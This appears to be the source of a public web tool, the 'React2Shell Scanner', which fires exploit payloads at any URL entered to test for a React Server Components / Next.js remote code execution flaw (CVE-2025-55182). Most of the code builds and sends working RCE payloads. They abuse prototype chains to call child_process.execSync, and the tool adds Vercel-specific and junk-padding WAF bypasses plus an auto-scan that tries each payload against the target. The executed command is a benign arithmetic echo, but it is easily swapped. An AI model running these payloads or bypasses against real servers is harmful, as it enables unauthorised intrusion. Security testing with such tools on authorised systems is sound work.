|
|
import gradio as gr |
|
|
import requests |
|
|
import re |
|
|
import random |
|
|
import string |
|
|
import json |
|
|
from urllib.parse import urlparse |
|
|
from requests.exceptions import RequestException |
|
|
import time |
|
|
|
|
|
|
|
|
|
|
|
def normalize_host(host: str) -> str: |
|
|
"""Normalize host to include scheme if missing.""" |
|
|
host = host.strip() |
|
|
if not host: |
|
|
return "" |
|
|
if not host.startswith(("http://", "https://")): |
|
|
host = f"https://{host}" |
|
|
return host.rstrip("/") |
|
|
|
|
|
def generate_junk_data(size_bytes: int) -> tuple[str, str]: |
|
|
"""Generate random junk data for WAF bypass.""" |
|
|
param_name = ''.join(random.choices(string.ascii_lowercase, k=12)) |
|
|
junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_bytes)) |
|
|
return param_name, junk |
|
|
|
|
|
def build_safe_payload() -> tuple[str, str]: |
|
|
"""Build the safe multipart form data payload (side-channel).""" |
|
|
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad" |
|
|
body = ( |
|
|
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" |
|
|
f'Content-Disposition: form-data; name="1"\r\n\r\n' |
|
|
f"{{}}\r\n" |
|
|
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" |
|
|
f'Content-Disposition: form-data; name="0"\r\n\r\n' |
|
|
f'["$1:aa:aa"]\r\n' |
|
|
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--" |
|
|
) |
|
|
content_type = f"multipart/form-data; boundary={boundary}" |
|
|
return body, content_type |
|
|
|
|
|
def build_vercel_waf_bypass_payload() -> tuple[str, str]: |
|
|
"""Build the Vercel WAF bypass multipart payload.""" |
|
|
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad" |
|
|
part0 = ( |
|
|
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,' |
|
|
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":' |
|
|
'"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;' |
|
|
'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",' |
|
|
'"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}' |
|
|
) |
|
|
body = ( |
|
|
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" |
|
|
f'Content-Disposition: form-data; name="0"\r\n\r\n' |
|
|
f"{part0}\r\n" |
|
|
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" |
|
|
f'Content-Disposition: form-data; name="1"\r\n\r\n' |
|
|
f'"$@0"\r\n' |
|
|
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" |
|
|
f'Content-Disposition: form-data; name="2"\r\n\r\n' |
|
|
f"[]\r\n" |
|
|
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" |
|
|
f'Content-Disposition: form-data; name="3"\r\n\r\n' |
|
|
f'{{"\\"\u0024\u0024":{{}}}}\r\n' |
|
|
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--" |
|
|
) |
|
|
content_type = f"multipart/form-data; boundary={boundary}" |
|
|
return body, content_type |
|
|
|
|
|
def build_rce_payload(windows: bool = False, waf_bypass: bool = False, waf_bypass_size_kb: int = 128) -> tuple[str, str]: |
|
|
"""Build the RCE PoC multipart payload.""" |
|
|
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad" |
|
|
if windows: |
|
|
cmd = 'powershell -c \\\"41*271\\\"' |
|
|
else: |
|
|
cmd = 'echo $((41*271))' |
|
|
|
|
|
prefix_payload = ( |
|
|
f"var res=process.mainModule.require('child_process').execSync('{cmd}')" |
|
|
f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT')," |
|
|
f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});" |
|
|
) |
|
|
part0 = ( |
|
|
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,' |
|
|
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"' + prefix_payload + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}' |
|
|
) |
|
|
|
|
|
parts = [] |
|
|
if waf_bypass: |
|
|
param_name, junk = generate_junk_data(waf_bypass_size_kb * 1024) |
|
|
parts.append( |
|
|
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n" |
|
|
f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n' |
|
|
f"{junk}\r\n" |
|
|
) |
|
|
|
|
|
parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{part0}\r\n") |
|
|
parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n") |
|
|
parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n") |
|
|
parts.append("------WebKitFormBoundaryx8jO2oVc6SWP3Sad--") |
|
|
|
|
|
body = "".join(parts) |
|
|
content_type = f"multipart/form-data; boundary={boundary}" |
|
|
return body, content_type |
|
|
|
|
|
def resolve_redirects(url: str, timeout: int, verify_ssl: bool, max_redirects: int = 10) -> str: |
|
|
current_url = url |
|
|
original_host = urlparse(url).netloc |
|
|
try: |
|
|
for _ in range(max_redirects): |
|
|
response = requests.head(current_url, timeout=timeout, verify=verify_ssl, allow_redirects=False) |
|
|
if response.status_code in (301, 302, 303, 307, 308): |
|
|
location = response.headers.get("Location") |
|
|
if location: |
|
|
if location.startswith("/"): |
|
|
parsed = urlparse(current_url) |
|
|
current_url = f"{parsed.scheme}://{parsed.netloc}{location}" |
|
|
else: |
|
|
new_host = urlparse(location).netloc |
|
|
if new_host == original_host: |
|
|
current_url = location |
|
|
else: |
|
|
break |
|
|
else: |
|
|
break |
|
|
except RequestException: |
|
|
pass |
|
|
return current_url |
|
|
|
|
|
def send_payload(target_url: str, headers: dict, body: str, timeout: int, verify_ssl: bool): |
|
|
try: |
|
|
body_bytes = body.encode('utf-8') if isinstance(body, str) else body |
|
|
response = requests.post( |
|
|
target_url, headers=headers, data=body_bytes, timeout=timeout, verify=verify_ssl, allow_redirects=False |
|
|
) |
|
|
return response, None |
|
|
except Exception as e: |
|
|
return None, str(e) |
|
|
|
|
|
def is_vulnerable_safe_check(response: requests.Response) -> bool: |
|
|
if response.status_code != 500 or 'E{"digest"' not in response.text: |
|
|
return False |
|
|
server_header = response.headers.get("Server", "").lower() |
|
|
has_netlify_vary = "Netlify-Vary" in response.headers |
|
|
is_mitigated = (has_netlify_vary or server_header == "netlify" or server_header == "vercel") |
|
|
return not is_mitigated |
|
|
|
|
|
def is_vulnerable_rce_check(response: requests.Response) -> bool: |
|
|
redirect_header = response.headers.get("X-Action-Redirect", "") |
|
|
return bool(re.search(r'.*/login\?a=11111.*', redirect_header)) |
|
|
|
|
|
|
|
|
|
|
|
def perform_single_scan(url, mode_config, custom_path): |
|
|
host = normalize_host(url) |
|
|
timeout = 10 |
|
|
verify_ssl = True |
|
|
|
|
|
|
|
|
safe_check = mode_config.get("safe_check", False) |
|
|
windows_mode = mode_config.get("windows_mode", False) |
|
|
waf_bypass = mode_config.get("waf_bypass", False) |
|
|
vercel_bypass = mode_config.get("vercel_bypass", False) |
|
|
mode_name = mode_config.get("name", "Unknown Mode") |
|
|
|
|
|
if safe_check: |
|
|
body, content_type = build_safe_payload() |
|
|
check_func = is_vulnerable_safe_check |
|
|
elif vercel_bypass: |
|
|
body, content_type = build_vercel_waf_bypass_payload() |
|
|
check_func = is_vulnerable_rce_check |
|
|
else: |
|
|
body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass) |
|
|
check_func = is_vulnerable_rce_check |
|
|
|
|
|
headers = { |
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)", |
|
|
"Next-Action": "x", |
|
|
"X-Nextjs-Request-Id": "b5dce965", |
|
|
"Content-Type": content_type, |
|
|
"X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9", |
|
|
} |
|
|
|
|
|
paths = [custom_path] if custom_path else ["/"] |
|
|
log_lines = [] |
|
|
found_vuln = False |
|
|
|
|
|
for path in paths: |
|
|
if not path.startswith("/"): path = "/" + path |
|
|
target_url = f"{host}{path}" |
|
|
|
|
|
|
|
|
resp, error = send_payload(target_url, headers, body, timeout, verify_ssl) |
|
|
|
|
|
if error: |
|
|
log_lines.append(f" [{mode_name}] Connection Error: {error}") |
|
|
continue |
|
|
|
|
|
if resp and check_func(resp): |
|
|
return True, [f" [{mode_name}] HIT! Vulnerable on {target_url} (Status: {resp.status_code})"] |
|
|
|
|
|
|
|
|
redirect_url = resolve_redirects(target_url, timeout, verify_ssl) |
|
|
if redirect_url != target_url: |
|
|
resp_red, error_red = send_payload(redirect_url, headers, body, timeout, verify_ssl) |
|
|
if resp_red and check_func(resp_red): |
|
|
return True, [f" [{mode_name}] HIT! Vulnerable on Redirect {redirect_url} (Status: {resp_red.status_code})"] |
|
|
|
|
|
return False, [f" [{mode_name}] Not Vulnerable"] |
|
|
|
|
|
def manual_scan_wrapper(url, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input): |
|
|
"""Wrapper for the manual scan button""" |
|
|
config = { |
|
|
"name": "Manual Scan", |
|
|
"safe_check": safe_check, |
|
|
"windows_mode": windows_mode, |
|
|
"waf_bypass": waf_bypass, |
|
|
"vercel_bypass": vercel_bypass |
|
|
} |
|
|
|
|
|
is_vuln, logs = perform_single_scan(url, config, path_input) |
|
|
final_res = "\n".join(logs) |
|
|
if is_vuln: |
|
|
final_res += "\n\nπ¨ FINAL STATUS: [VULNERABLE] π¨" |
|
|
else: |
|
|
final_res += "\n\nFinal Status: [Not Vulnerable] (Check settings or try Auto-Scan)" |
|
|
return final_res |
|
|
|
|
|
def auto_scan_wrapper(url, path_input): |
|
|
"""Wrapper for the Auto-Scan button that runs the sequence""" |
|
|
if not url: return "Please enter a URL." |
|
|
|
|
|
full_logs = [f"Starting Auto-Scan for: {url}\n" + "="*40] |
|
|
|
|
|
|
|
|
steps = [ |
|
|
{"name": "1. Safe Check (Side-Channel)", "safe_check": True}, |
|
|
{"name": "2. Standard RCE (Unix)", "safe_check": False, "windows_mode": False}, |
|
|
{"name": "3. Standard RCE (Windows)", "safe_check": False, "windows_mode": True}, |
|
|
{"name": "4. Vercel WAF Bypass", "vercel_bypass": True}, |
|
|
{"name": "5. Generic WAF Bypass", "waf_bypass": True} |
|
|
] |
|
|
|
|
|
for step in steps: |
|
|
full_logs.append(f"\nrunning {step['name']}...") |
|
|
yield "\n".join(full_logs) |
|
|
|
|
|
is_vuln, logs = perform_single_scan(url, step, path_input) |
|
|
full_logs.extend(logs) |
|
|
|
|
|
if is_vuln: |
|
|
full_logs.append("\n" + "="*40) |
|
|
full_logs.append("π¨ VULNERABILITY CONFIRMED π¨") |
|
|
full_logs.append(f"Stopped at {step['name']}") |
|
|
yield "\n".join(full_logs) |
|
|
return |
|
|
|
|
|
full_logs.append("\n" + "="*40) |
|
|
full_logs.append("Auto-Scan Complete: No vulnerabilities found with standard payloads.") |
|
|
full_logs.append("Note: Sophisticated WAFs or custom paths might still exist.") |
|
|
yield "\n".join(full_logs) |
|
|
|
|
|
|
|
|
|
|
|
guide_content = """ |
|
|
### π Auto-Scan Mode (Recommended) |
|
|
Just enter the URL and click **"Auto-Scan Target"**. This automatically runs the following sequence: |
|
|
1. **Safe Check:** Non-destructive side-channel check. |
|
|
2. **Standard RCE:** Tests for Linux vulnerabilities. |
|
|
3. **Windows Mode:** Tests for Windows vulnerabilities. |
|
|
4. **WAF Bypasses:** Attempts to evade firewalls (Vercel & Generic). |
|
|
|
|
|
*The scan stops immediately if a vulnerability is found.* |
|
|
|
|
|
**β οΈ Important:** Auto-Scan defaults to the root URL (`/`). If the app lives on a sub-path (e.g., `/dashboard`) or the homepage is static, **you must still enter it in the Custom Path field below.** |
|
|
|
|
|
--- |
|
|
|
|
|
### π οΈ Manual Mode |
|
|
Use the checkboxes below to configure a specific single test. |
|
|
* **Safe Check:** Triggers a specific 500 error digest to confirm vulnerability without RCE. |
|
|
* **Windows Mode:** Uses PowerShell payload (`powershell -c ...`). |
|
|
* **Generic WAF Bypass:** Pads the request with junk data (128KB). |
|
|
* **Vercel WAF Bypass:** Uses a specific multipart structure. |
|
|
|
|
|
### π£οΈ Custom Path (When to use it) |
|
|
Required if the root URL (`/`) is static or fails to trigger the exploit. |
|
|
* **Sub-directories:** If the app lives at `/dashboard`, `/app`, or `/portal`. |
|
|
* **Dynamic Routes:** If the homepage is static, try pages with forms/logic like `/login`, `/auth`, or `/search`. |
|
|
* **Internals:** Direct targeting of `/_next` or `/api` can sometimes bypass caching. |
|
|
""" |
|
|
|
|
|
seo_security_content = """ |
|
|
### π Why Security Matters for SEO (Search Engine Optimization) |
|
|
Security is not just about protecting data; it is a critical ranking factor. Search engines like Google prioritize user safety. |
|
|
|
|
|
**Negative SEO Effects of a Security Breach:** |
|
|
* **"This site may be hacked" Warning:** Google displays a warning label in search results, effectively killing your Click-Through Rate (CTR). |
|
|
* **De-indexing:** If malware is detected, search engines may completely remove your site from their index to protect users. |
|
|
* **Malicious Redirects:** Hackers often redirect your organic traffic to spam/scam sites, increasing bounce rates and destroying domain authority. |
|
|
* **Loss of Trust:** Recovering rankings after a security breach takes significantly longer than losing them. |
|
|
""" |
|
|
|
|
|
with gr.Blocks(title="React2Shell Scanner") as demo: |
|
|
gr.Markdown("# React2Shell Scanner (CVE-2025-55182)") |
|
|
gr.Markdown("Web-based scanner for React Server Components / Next.js RCE.") |
|
|
|
|
|
with gr.Accordion("π Help & Usage Guide", open=True): |
|
|
gr.Markdown(guide_content) |
|
|
|
|
|
with gr.Row(): |
|
|
url_input = gr.Textbox(label="Target URL", placeholder="https://example.com") |
|
|
path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="") |
|
|
|
|
|
|
|
|
with gr.Row(): |
|
|
auto_scan_btn = gr.Button("π Auto-Scan Target (Best Sequence)", variant="primary", scale=2) |
|
|
|
|
|
gr.Markdown("---") |
|
|
|
|
|
|
|
|
with gr.Accordion("βοΈ Manual Configuration (Optional)", open=False): |
|
|
with gr.Row(): |
|
|
safe_check = gr.Checkbox(label="Safe Check", value=True) |
|
|
windows_mode = gr.Checkbox(label="Windows Mode", value=False) |
|
|
waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False) |
|
|
vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False) |
|
|
manual_scan_btn = gr.Button("Run Manual Scan", variant="secondary") |
|
|
|
|
|
output_box = gr.Textbox(label="Scan Output", lines=15) |
|
|
|
|
|
|
|
|
auto_scan_btn.click( |
|
|
fn=auto_scan_wrapper, |
|
|
inputs=[url_input, path_input], |
|
|
outputs=output_box |
|
|
) |
|
|
|
|
|
manual_scan_btn.click( |
|
|
fn=manual_scan_wrapper, |
|
|
inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input], |
|
|
outputs=output_box |
|
|
) |
|
|
|
|
|
gr.Markdown("---") |
|
|
gr.Markdown(seo_security_content) |
|
|
|
|
|
|
|
|
gr.Markdown("---") |
|
|
gr.Markdown( |
|
|
"This react2shell analysis web app is created by [Adrian Ponce del Rosario](https://www.linkedin.com/in/adrian-ponce-del-rosario-seo/) | " |
|
|
"Based on the original research by [Assetnote](https://github.com/assetnote/react2shell-scanner)" |
|
|
) |
|
|
|
|
|
demo.launch() |